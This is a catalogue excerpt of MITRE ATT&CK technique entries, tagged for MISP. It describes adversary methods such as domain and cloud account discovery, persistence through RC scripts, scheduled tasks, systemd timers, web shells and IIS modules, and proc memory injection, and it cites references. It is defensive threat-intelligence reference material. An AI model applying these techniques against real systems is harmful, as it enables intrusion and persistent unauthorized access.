https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/
https://www.menlosecurity.com/blog/new-attack-alert-duri
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

Upload Tool - T1608.002

Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.

Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.

The tag is: *misp-galaxy:mitre-attack-pattern="Upload Tool - T1608.002"*

Table 4230. Table References

Links
https://attack.mitre.org/techniques/T1608/002
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

Domain Groups - T1069.002

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002"*

Table 4231. Table References

Links
https://attack.mitre.org/techniques/T1069/002

Domain Accounts - T1078.002

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002"*

Table 4232. Table References

Links
https://attack.mitre.org/techniques/T1078/002
https://capec.mitre.org/data/definitions/560.html
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://ubuntu.com/server/docs/service-sssd

Domain Account - T1087.002

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.

Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"*

Table 4233. Table References

Links
https://attack.mitre.org/techniques/T1087/002
https://capec.mitre.org/data/definitions/575.html

RC Scripts - T1037.004

Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system's startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)

The tag is: *misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004"*

Table 4234. Table References

Links
http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
https://attack.mitre.org/techniques/T1037/004
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Scheduled Task - T1053.005

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code>

can not access tasks created with <code>schtasks</code> or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"*

Table 4235. Table References

Links
https://attack.mitre.org/techniques/T1053/005
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/dd315590.aspx
https://twitter.com/leoloobeek/status/939248813465853953
https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain

Web Shell - T1505.003

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"*

Table 4236. Table References

Links
https://attack.mitre.org/techniques/T1505/003
https://capec.mitre.org/data/definitions/650.html
https://github.com/nsacyber/Mitigating-Web-Shells

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.us-cert.gov/ncas/alerts/TA15-314A

Systemd Timers - T1053.006

Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)

Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006"*

Table 4237. Table References

Links
http://man7.org/linux/man-pages/man1/systemd.1.html
https://attack.mitre.org/techniques/T1053/006
https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
https://wiki.archlinux.org/index.php/Systemd/Timers
https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
https://www.tecmint.com/control-systemd-services-on-remote-linux-server/

Startup Items - T1037.005

Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)

This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.

The tag is: *misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005"*

Table 4238. Table References

Links
https://attack.mitre.org/techniques/T1037/005
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Cloud Groups - T1069.003

Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).

Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET <a href="https://cloudidentity.googleapis.com/v1/groups</code&gt" class="bare">https://cloudidentity.googleapis.com/v1/groups</code&gt; lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)

Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get

Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003"*

Table 4239. Table References

Links
https://attack.mitre.org/techniques/T1069/003
https://cloud.google.com/identity/docs/reference/rest
https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
https://github.com/True-Demon/raindance
https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/

Email Account - T1087.003

Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)

In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)

In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Account - T1087.003"*

Table 4240. Table References

Links
https://attack.mitre.org/techniques/T1087/003
https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019
https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
https://support.google.com/a/answer/166870?hl=en
https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/

Local Accounts - T1078.003

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003"*

Table 4241. Table References

Links
https://attack.mitre.org/techniques/T1078/003

IIS Components - T1505.004

Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)

Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)

Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004"*

Table 4242. Table References

Links
https://attack.mitre.org/techniques/T1505/004
https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx
https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/

Network Topology - T1590.004

Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Topology - T1590.004"*

Table 4243. Table References

Links

https://attack.mitre.org/techniques/T1590/004
https://dnsdumpster.com/

Unix Shell - T1059.004

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"*

Table 4244. Table References

Links
https://attack.mitre.org/techniques/T1059/004
https://linux.die.net/man/1/bash
https://support.apple.com/HT208050

Cloud Accounts - T1078.004

Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.

Once a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud

Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"*

Table 4245. Table References

Links
https://attack.mitre.org/techniques/T1078/004
https://aws.amazon.com/identity/federation/
https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs

Cloud Account - T1087.004

Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.

With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004"*

Table 4246. Table References

Links
https://attack.mitre.org/techniques/T1087/004
https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html
https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0

https://github.com/True-Demon/raindance
https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/

IP Addresses - T1590.005

Adversaries may gather the victim’s IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005"*

Table 4247. Table References

Links
https://attack.mitre.org/techniques/T1590/005
https://dnsdumpster.com/
https://www.circl.lu/services/passive-dns/
https://www.whois.net/

Visual Basic - T1059.005

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking)

The tag is: *misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"*

Table 4248. Table References

Links
https://attack.mitre.org/techniques/T1059/005
https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
https://docs.microsoft.com/dotnet/visual-basic/
https://docs.microsoft.com/office/vba/api/overview/
https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)
https://en.wikipedia.org/wiki/Visual_Basic_for_Applications
https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805

Proc Memory - T1055.009

Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes' stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes' memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)

Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009"*

Table 4249. Table References

Links
http://hick.org/code/skape/papers/needle.txt
http://man7.org/linux/man-pages/man1/dd.1.html
https://attack.mitre.org/techniques/T1055/009
https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html

Link Target - T1608.005

Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.

Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.

The tag is: *misp-galaxy:mitre-attack-pattern="Link Target - T1608.005"*

Table 4250. Table References

Links
https://attack.mitre.org/techniques/T1608/005
https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian

Device Registration - T1098.005

Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.

MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user's credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)

Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)

Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)

The tag is: *misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005"*

Table 4251. Table References

Links
https://attack.mitre.org/techniques/T1098/005
https://o365blog.com/post/bprt/
https://o365blog.com/post/devices/
https://o365blog.com/post/mdm
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack
https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

Standard Encoding - T1132.001

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"*

Table 4252. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
